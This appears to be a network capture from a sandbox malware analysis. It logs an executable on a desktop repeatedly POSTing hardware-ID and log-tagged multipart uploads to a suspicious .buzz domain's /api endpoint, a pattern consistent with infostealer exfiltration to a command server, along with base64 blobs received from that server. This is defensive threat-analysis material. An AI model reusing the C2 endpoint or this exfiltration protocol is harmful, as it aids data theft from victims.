2024-12-27 08:07:36 UTC	1369	IN	Data Raw: 54 6d 38 42 64 61 78 6d 6f 64 75 63 39 63 6a 47 35 63 77 74 6b 59 42 7a 6d 37 71 79 59 46 49 68 66 5a 61 69 49 59 30 34 31 5a 44 4f 61 2f 58 68 76 42 59 46 4c 68 6a 41 65 32 61 55 66 63 77 78 6f 5a 4e 66 79 38 59 52 74 74 46 39 30 73 64 56 75 62 7a 78 63 4f 2f 66 41 42 57 75 46 69 58 75 4b 62 41 71 38 74 55 70 33 56 56 52 41 7a 75 2b 77 6f 47 6d 77 52 32 43 70 6f 55 4e 43 4b 55 68 76 75 75 56 51 58 77 58 39 58 37 6f 77 50 75 57 64 48 33 4d 59 52 47 6a 4c 39 74 47 68 63 4c 46 44 53 4d 6a 6f 41 6d 36 4a 53 47 65 4b 38 54 31 6a 37 4d 6b 4b 76 6c 6b 2b 35 59 51 32 4c 6a 42 30 53 50 50 69 2f 5a 78 39 71 47 38 63 71 61 46 37 57 68 45 55 50 34 4c 35 54 47 64 4e 34 55 2b 65 4d 42 72 56 6b 53 4e 54 49 56 56 6c 2f 2f 4b 77 6f 52 43 49 78 32 43 46 32 55 73 79 42 46 Data Ascii: Tm8Bdaxmoduc9cjG5cwtkYBzm7qyYFIhfZaiIY041ZDOa/XhvBYFLhjAe2aUfcwxoZNfy8YRttF90sdVubzxcO/fABWuFiXuKbAq8tUp3VVRAzu+woGmwR2CpoUNCKUhvuuVQXwX9X7owPuWdH3MYRGjL9tGhcLFDSMjoAm6JSGeK8T1j7MkKvlk+5YQ2LjB0SPPi/Zx9qG8cqaF7WhEUP4L5TGdN4U+eMBrVkSNTIVVl//KwoRCIx2CF2UsyBF
2024-12-27 08:07:36 UTC	1369	IN	Data Raw: 5a 46 74 4e 2b 56 2b 65 41 41 72 49 74 41 35 50 4c 44 56 64 6e 75 35 35 72 43 47 45 61 6c 78 39 35 56 74 57 47 51 55 6e 36 2f 6b 42 61 78 6e 34 64 75 63 38 43 76 32 56 4c 77 63 4d 59 46 44 48 31 75 32 30 54 61 68 44 56 4a 33 39 63 30 49 70 55 42 4f 47 69 55 78 72 4a 64 31 7a 72 68 55 2f 77 4c 55 72 4c 6a 45 31 58 44 75 79 2f 4b 69 6c 68 48 74 73 74 62 42 6a 45 7a 30 35 4a 34 72 77 5a 51 6f 46 2f 56 65 53 4b 41 4c 39 6e 51 39 62 47 47 52 38 78 2b 4b 5a 6e 47 47 49 63 33 53 42 33 56 74 2b 4a 58 67 4c 75 74 6c 6b 62 79 7a 49 54 6f 59 67 58 2f 6a 55 4e 35 38 73 5a 47 6a 43 35 67 57 73 53 62 42 66 44 61 6d 55 57 77 73 46 51 42 61 58 6f 47 52 62 49 63 6c 62 72 69 77 2b 35 59 45 6a 51 79 78 59 61 4f 50 47 36 62 78 68 75 47 64 67 73 65 6c 2f 66 68 45 55 4d 37 4c Data Ascii: ZFtN+V+eAArItA5PLDVdnu55rCGEalx95VtWGQUn6/kBaxn4duc8Cv2VLwcMYFDH1u20TahDVJ39c0IpUBOGiUxrJd1zrhU/wLUrLjE1XDuy/KilhHtstbBjEz05J4rwZQoF/VeSKAL9nQ9bGGR8x+KZnGGIc3SB3Vt+JXgLutlkbyzIToYgX/jUN58sZGjC5gWsSbBfDamUWwsFQBaXoGRbIclbriw+5YEjQyxYaOPG6bxhuGdgsel/fhEUM7L
2024-12-27 08:07:36 UTC	1369	IN	Data Raw: 66 45 75 68 6b 45 47 6e 4c 55 72 66 6a 45 31 58 4e 76 4b 6d 5a 68 4a 72 48 64 4d 69 66 56 62 57 69 6c 45 43 34 72 64 66 46 38 6c 2f 57 4f 4b 4f 43 37 52 2f 54 74 6a 47 47 42 31 2f 74 66 52 76 42 43 4a 49 6c 51 31 32 63 63 75 61 52 52 2b 6c 72 78 63 44 67 58 56 52 6f 64 64 50 76 57 4a 45 33 4d 51 64 47 44 44 2f 75 6d 34 61 62 78 58 61 49 47 68 51 31 59 78 63 42 75 36 69 57 52 66 46 66 6c 6e 70 68 41 58 2b 49 77 33 55 31 46 56 50 66 38 36 35 5a 78 78 68 42 70 55 31 4e 45 47 62 68 6c 74 4a 76 66 42 56 46 4d 46 39 55 65 32 45 42 37 39 68 51 39 54 4a 48 42 38 33 36 62 56 73 46 47 4d 65 32 69 74 2b 58 64 36 46 55 41 33 6a 76 78 6c 55 67 58 56 46 6f 64 64 50 6b 55 70 34 6b 65 30 76 56 79 43 31 72 53 67 62 62 6c 43 4e 61 6e 5a 62 31 34 6c 59 44 2b 79 38 55 78 50 Data Ascii: fEuhkEGnLUrfjE1XNvKmZhJrHdMifVbWilEC4rdfF8l/WOKOC7R/TtjGGB1/tfRvBCJIlQ12ccuaRR+lrxcDgXVRoddPvWJE3MQdGDD/um4abxXaIGhQ1YxcBu6iWRfFflnphAX+Iw3U1FVPf865ZxxhBpU1NEGbhltJvfBVFMF9Ue2EB79hQ9TJHB836bVsFGMe2it+Xd6FUA3jvxlUgXVFoddPkUp4ke0vVyC1rSgbblCNanZb14lYD+y8UxP
2024-12-27 08:07:36 UTC	1369	IN	Data Raw: 6f 73 4d 75 6d 68 43 30 73 30 54 42 54 6a 79 70 6d 59 52 62 52 6a 64 49 33 74 63 33 6f 78 52 42 65 2b 78 58 68 54 50 65 68 32 76 7a 77 69 6d 4c 52 57 54 37 51 55 4d 4c 65 32 35 53 52 46 74 55 4d 70 6b 59 78 6a 63 6a 52 64 52 70 62 6c 4c 48 73 78 67 56 4f 61 42 41 4c 31 2f 54 4e 37 48 42 78 41 77 2f 37 4e 6b 47 6d 30 57 31 43 39 77 56 4e 79 45 58 41 62 70 38 42 64 61 78 6d 6f 64 75 63 38 68 74 58 35 61 30 4d 49 65 41 53 53 37 71 79 59 46 49 68 66 5a 61 69 49 59 32 49 70 63 44 65 57 38 57 52 37 4d 63 6b 2f 75 69 41 69 33 5a 6c 2f 5a 79 78 49 63 4e 2f 43 37 62 67 35 75 48 73 63 76 61 45 71 62 7a 78 63 4f 2f 66 41 42 57 76 64 31 54 66 47 4d 54 59 39 37 54 73 58 48 47 42 74 2f 35 50 70 78 58 47 55 63 6c 58 49 36 58 74 53 49 56 41 62 6b 75 56 55 58 78 48 74 59 Data Ascii: osMumhC0s0TBTjypmYRbRjdI3tc3oxRBe+xXhTPeh2vzwimLRWT7QUMLe25SRFtUMpkYxjcjRdRpblLHsxgVOaBAL1/TN7HBxAw/7NkGm0W1C9wVNyEXAbp8Bdaxmoduc8htX5a0MIeASS7qyYFIhfZaiIY2IpcDeW8WR7Mck/uiAi3Zl/ZyxIcN/C7bg5uHscvaEqbzxcO/fABWvd1TfGMTY97TsXHGBt/5PpxXGUclXI6XtSIVAbkuVUXxHtY
2024-12-27 08:07:36 UTC	1369	IN	Data Raw: 56 6a 66 39 44 58 56 51 68 78 34 76 52 76 45 43 4a 49 6c 53 6c 39 57 39 71 4c 58 67 58 71 74 31 30 49 79 33 56 50 34 49 34 45 73 32 46 4e 33 73 45 66 46 6a 62 32 75 47 55 62 5a 52 2f 51 61 6a 51 59 33 4a 6b 58 55 61 57 52 56 42 48 4e 4b 51 65 68 6b 45 47 6e 4c 55 72 66 6a 45 31 58 50 2f 47 78 59 68 46 68 48 39 59 34 65 31 37 4a 67 56 6f 44 39 37 70 53 48 38 78 2f 55 4f 4b 4a 43 62 56 68 58 39 72 4d 46 68 78 2f 74 66 52 76 42 43 4a 49 6c 51 6c 74 54 74 47 47 57 78 2f 75 73 56 6f 4d 7a 47 49 64 72 38 38 65 75 58 77 4e 69 39 6f 46 41 44 6a 6b 2b 6e 46 63 5a 52 79 56 63 6a 70 65 30 6f 64 51 44 2b 75 69 58 42 7a 4f 66 56 54 6f 69 77 65 39 62 55 6e 58 79 78 41 55 4d 2f 43 7a 61 78 4e 6d 47 64 73 6a 64 52 69 56 77 56 41 52 70 65 67 5a 4f 39 70 78 55 65 7a 50 45 Data Ascii: Vjf9DXVQhx4vRvECJIlSl9W9qLXgXqt10Iy3VP4I4Es2FN3sEfFjb2uGUbZR/QajQY3JkXUaWRVBHNKQehkEGnLUrfjE1XP/GxYhFhH9Y4e17JgVoD97pSH8x/UOKJCbVhX9rMFhx/tfRvBCJIlQltTtGGWx/usVoMzGIdr88euXwNi9oFADjk+nFcZRyVcjpe0odQD+uiXBzOfVToiwe9bUnXyxAUM/CzaxNmGdsjdRiVwVARpegZO9pxUezPE
2024-12-27 08:07:36 UTC	1369	IN	Data Raw: 54 67 6c 55 51 4a 37 76 73 4b 44 78 70 42 74 41 74 62 42 72 75 67 6c 6b 48 34 71 59 5a 42 66 34 38 48 65 36 56 54 2b 5a 55 56 4a 50 4c 47 56 64 6e 75 36 46 76 48 47 55 4b 77 79 31 32 53 64 43 4d 57 79 76 71 74 30 38 5a 7a 6e 46 4d 36 4d 4d 45 73 79 30 44 6b 38 73 4e 56 32 65 37 6d 32 38 4b 59 54 2f 57 4f 33 4d 59 6c 63 46 51 48 36 58 6f 47 53 53 42 59 46 37 78 6a 41 43 76 55 77 32 4c 31 53 74 58 4e 4f 32 7a 65 42 39 30 47 39 67 6d 61 32 61 62 32 51 4e 62 74 2b 49 4c 53 4e 34 79 51 74 37 42 54 37 38 74 46 65 72 56 56 51 46 2f 6f 2b 59 6d 58 48 42 51 6a 57 6f 39 57 38 6d 54 55 51 72 7a 73 78 34 6b 2f 31 56 4c 36 34 67 66 75 58 70 43 6b 34 4a 56 47 48 2b 6a 6a 53 67 56 5a 51 76 45 50 48 64 49 33 4d 46 6f 52 36 57 6f 47 55 4b 42 52 31 37 76 67 51 69 6f 66 41 Data Ascii: TglUQJ7vsKDxpBtAtbBruglkH4qYZBf48He6VT+ZUVJPLGVdnu6FvHGUKwy12SdCMWyvqt08ZznFM6MMEsy0Dk8sNV2e7m28KYT/WO3MYlcFQH6XoGSSBYF7xjACvUw2L1StXNO2zeB90G9gma2ab2QNbt+ILSN4yQt7BT78tFerVVQF/o+YmXHBQjWo9W8mTUQrzsx4k/1VL64gfuXpCk4JVGH+jjSgVZQvEPHdI3MFoR6WoGUKBR17vgQiofA
2024-12-27 08:07:36 UTC	1369	IN	Data Raw: 46 48 6a 46 69 6d 6b 52 62 56 7a 62 49 58 70 66 79 35 64 4d 52 65 32 7a 51 77 44 2f 54 48 62 74 69 51 69 6b 61 6b 76 31 37 46 56 5a 66 2f 54 30 4d 43 55 69 57 4a 55 56 4e 42 6a 44 77 51 39 4a 30 4c 4e 58 46 4d 5a 6b 54 4b 79 6e 4c 49 52 58 44 2f 2f 4c 41 46 55 4c 2f 4b 52 35 46 32 38 63 6c 57 51 36 58 70 76 5a 42 30 65 6c 74 45 68 61 6d 53 49 50 75 74 70 63 36 54 30 66 7a 49 49 4d 56 79 6d 37 37 44 70 53 49 67 4b 56 63 6a 6f 66 32 4a 4e 46 44 2b 61 6d 57 6c 33 2f 54 48 72 76 69 41 36 6f 66 56 72 63 38 69 73 43 50 50 57 36 62 77 70 7a 55 4a 74 71 64 52 69 44 75 42 64 42 70 59 38 58 57 74 6b 79 42 61 47 36 44 4c 42 6a 53 73 58 64 57 44 41 78 2f 4c 56 2b 44 48 55 66 6c 57 51 36 58 70 76 5a 42 55 65 6c 74 45 68 61 6d 53 49 50 75 74 70 63 36 54 30 66 7a 49 49 Data Ascii: FHjFimkRbVzbIXpfy5dMRe2zQwD/THbtiQikakv17FVZf/T0MCUiWJUVNBjDwQ9J0LNXFMZkTKynLIRXD//LAFUL/KR5F28clWQ6XpvZB0eltEhamSIPutpc6T0fzIIMVym77DpSIgKVcjof2JNFD+amWl3/THrviA6ofVrc8isCPPW6bwpzUJtqdRiDuBdBpY8XWtkyBaG6DLBjSsXdWDAx/LV+DHUflWQ6XpvZBUeltEhamSIPutpc6T0fzII
2024-12-27 08:07:36 UTC	1369	IN	Data Raw: 5a 56 69 44 47 38 66 30 6d 68 61 58 38 32 43 46 30 65 6c 76 42 6c 43 67 58 4e 58 38 59 49 41 75 53 46 4b 79 63 74 56 57 58 2f 31 39 44 42 63 59 78 72 46 4a 33 56 66 6c 34 64 5a 42 36 57 76 46 77 4f 42 5a 42 32 35 33 45 48 2b 66 77 32 4c 6a 46 49 55 4c 65 6d 79 61 77 70 68 56 2b 73 55 56 30 72 63 6b 56 52 4c 31 4c 31 64 44 4e 52 78 54 65 61 78 4d 5a 4e 2f 53 73 50 50 56 79 59 70 2b 4c 52 6d 47 79 4a 65 6c 54 49 36 41 4a 75 73 52 51 37 31 73 78 6c 55 67 58 34 64 75 63 38 43 72 47 70 64 30 49 41 53 44 54 69 37 71 79 59 46 49 67 61 56 63 69 6b 57 6d 35 4d 58 55 61 58 33 56 78 66 41 63 56 50 69 6e 52 32 34 62 6c 76 51 69 79 73 70 45 75 6d 7a 65 42 38 67 49 64 67 75 62 45 33 59 6b 56 41 33 32 35 31 4c 48 64 46 78 48 38 32 49 41 72 4a 54 63 2b 54 64 45 67 64 39 Data Ascii: ZViDG8f0mhaX82CF0elvBlCgXNX8YIAuSFKyctVWX/19DBcYxrFJ3Vfl4dZB6WvFwOBZB253EH+fw2LjFIULemyawphV+sUV0rckVRL1L1dDNRxTeaxMZN/SsPPVyYp+LRmGyJelTI6AJusRQ71sxlUgX4duc8CrGpd0IASDTi7qyYFIgaVcikWm5MXUaX3VxfAcVPinR24blvQiyspEumzeB8gIdgubE3YkVA3251LHdFxH82IArJTc+TdEgd9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49706	104.21.11.101	443	1360	C:\Users\user\Desktop\GnHq2ZaBUl.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 08:07:37 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=ZC8Y5SHBIXYFL8ALV1Y User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12847 Host: mindhandru.buzz
2024-12-27 08:07:37 UTC	12847	OUT	Data Raw: 2d 2d 5a 43 38 59 35 53 48 42 49 58 59 46 4c 38 41 4c 56 31 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 39 37 32 33 31 31 30 30 30 32 33 37 45 31 37 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 5a 43 38 59 35 53 48 42 49 58 59 46 4c 38 41 4c 56 31 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 5a 43 38 59 35 53 48 42 49 58 59 46 4c 38 41 4c 56 31 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 Data Ascii: --ZC8Y5SHBIXYFL8ALV1YContent-Disposition: form-data; name="hwid"F972311000237E17BEBA0C6A975F1733--ZC8Y5SHBIXYFL8ALV1YContent-Disposition: form-data; name="pid"2--ZC8Y5SHBIXYFL8ALV1YContent-Disposition: form-data; name="lid"LOGS11--Li
2024-12-27 08:07:38 UTC	1126	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 08:07:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=447i6ldvh3fk63qp443ekjd6pn; expires=Tue, 22 Apr 2025 01:54:17 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9Xg1XUwwE3eFhxbLvQN3EGahgAHsc27Wr2sq44XPE6AtzKVwasBcI1MjzsS8BGyN8ja%2FsWJslhyPDFcE0lb8EQ%2BMh6baQCFgMXQC%2FNUfkIH5lVe3OyoddmFlZXSo3pvfCvM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f87d16effe84398-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2096&min_rtt=2086&rtt_var=789&sent=9&recv=18&lost=0&retrans=0&sent_bytes=2838&recv_bytes=13787&delivery_rate=1399808&cwnd=230&unsent_bytes=0&cid=f88a99dbe8b9e905&ts=973&x=0"
2024-12-27 08:07:38 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 08:07:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49707	104.21.11.101	443	1360	C:\Users\user\Desktop\GnHq2ZaBUl.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 08:07:40 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=D1KBIIL7FBV99XG09P User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15083 Host: mindhandru.buzz
2024-12-27 08:07:40 UTC	15083	OUT	Data Raw: 2d 2d 44 31 4b 42 49 49 4c 37 46 42 56 39 39 58 47 30 39 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 39 37 32 33 31 31 30 30 30 32 33 37 45 31 37 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 44 31 4b 42 49 49 4c 37 46 42 56 39 39 58 47 30 39 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 44 31 4b 42 49 49 4c 37 46 42 56 39 39 58 47 30 39 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 Data Ascii: --D1KBIIL7FBV99XG09PContent-Disposition: form-data; name="hwid"F972311000237E17BEBA0C6A975F1733--D1KBIIL7FBV99XG09PContent-Disposition: form-data; name="pid"2--D1KBIIL7FBV99XG09PContent-Disposition: form-data; name="lid"LOGS11--LiveT
2024-12-27 08:07:41 UTC	1136	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 08:07:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ebc6fvf2fe2vsa856e5havheei; expires=Tue, 22 Apr 2025 01:54:19 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YosOcDKo%2B7%2Fkix7X2lBpEAf8iqs7rt9IENDarZFRUEL6BKs5HH1jZZl9Lht99at%2BFXY5zb3i5h0iwQmEk6gE6%2BjRzeZ%2BZx3DFIqKMTtk%2Fice4Hww%2FhPu7Dq772TLzz0K4VQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f87d17db9fa42d4-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1748&min_rtt=1738&rtt_var=672&sent=12&recv=21&lost=0&retrans=0&sent_bytes=2836&recv_bytes=16022&delivery_rate=1603514&cwnd=247&unsent_bytes=0&cid=b61cf4824e04b802&ts=1063&x=0"
2024-12-27 08:07:41 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 08:07:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49708	104.21.11.101	443	1360	C:\Users\user\Desktop\GnHq2ZaBUl.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 08:07:42 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=O8RWE62AHD76CTA5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20561 Host: mindhandru.buzz
2024-12-27 08:07:42 UTC	15331	OUT	Data Raw: 2d 2d 4f 38 52 57 45 36 32 41 48 44 37 36 43 54 41 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 39 37 32 33 31 31 30 30 30 32 33 37 45 31 37 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 4f 38 52 57 45 36 32 41 48 44 37 36 43 54 41 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 4f 38 52 57 45 36 32 41 48 44 37 36 43 54 41 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 Data Ascii: --O8RWE62AHD76CTA5Content-Disposition: form-data; name="hwid"F972311000237E17BEBA0C6A975F1733--O8RWE62AHD76CTA5Content-Disposition: form-data; name="pid"3--O8RWE62AHD76CTA5Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic
2024-12-27 08:07:42 UTC	5230	OUT	Data Raw: 8a 95 d9 76 89 c4 4d c9 4d d9 5a b5 da 68 27 0c 46 c7 33 b7 ee 57 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 eb dc 60 Data Ascii: vMMZh'F3Wun 4F([:7s~X`nO`
2024-12-27 08:07:43 UTC	1128	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 08:07:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7ssng7nhtii5j8v73vc8lu5g8e; expires=Tue, 22 Apr 2025 01:54:22 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3CDx6AqbSSI4hn041j74o4M432b%2FbPl1RJDJQ5K%2B%2B0XFCVtHjsydPqEPURPSCF641JI081PPl0vv90xUoKXkhjNw9Jd5Vwce1sG1CXJFkBAhHPWeLBIcjzyq7q4hbEXx7g4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f87d18d4ee40f80-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1679&min_rtt=1673&rtt_var=640&sent=15&recv=25&lost=0&retrans=0&sent_bytes=2836&recv_bytes=21520&delivery_rate=1693735&cwnd=207&unsent_bytes=0&cid=10f5e7f5856cd023&ts=1025&x=0"
2024-12-27 08:07:43 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 08:07:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49709	104.21.11.101	443	1360	C:\Users\user\Desktop\GnHq2ZaBUl.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 08:07:45 UTC	272	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=CU5Y1VPGX8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1210 Host: mindhandru.buzz
2024-12-27 08:07:45 UTC	1210	OUT	Data Raw: 2d 2d 43 55 35 59 31 56 50 47 58 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 39 37 32 33 31 31 30 30 30 32 33 37 45 31 37 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 43 55 35 59 31 56 50 47 58 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 43 55 35 59 31 56 50 47 58 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 43 55 35 59 31 56 50 47 58 38 0d 0a 43 6f Data Ascii: --CU5Y1VPGX8Content-Disposition: form-data; name="hwid"F972311000237E17BEBA0C6A975F1733--CU5Y1VPGX8Content-Disposition: form-data; name="pid"1--CU5Y1VPGX8Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic--CU5Y1VPGX8Co
2024-12-27 08:07:46 UTC	1126	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 08:07:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=cj3t7nu6n0vaeu2mpsq3gkv81d; expires=Tue, 22 Apr 2025 01:54:25 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NRjXkorEXGG3DfJ%2Ftq%2FP64wuOfCOl5EVylug%2BAhcgvLrjobwFdpWAS78lzqwh7DOFZBFqiOX9E1nxGTFBjBp94SxxQGlQrjRgck6mJbcXgA1YaJRQzlJ0%2FVPBEPupdoVLyQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f87d19ffb83184d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1635&min_rtt=1633&rtt_var=618&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2837&recv_bytes=2118&delivery_rate=1763285&cwnd=239&unsent_bytes=0&cid=2318ac6a9d804cff&ts=816&x=0"
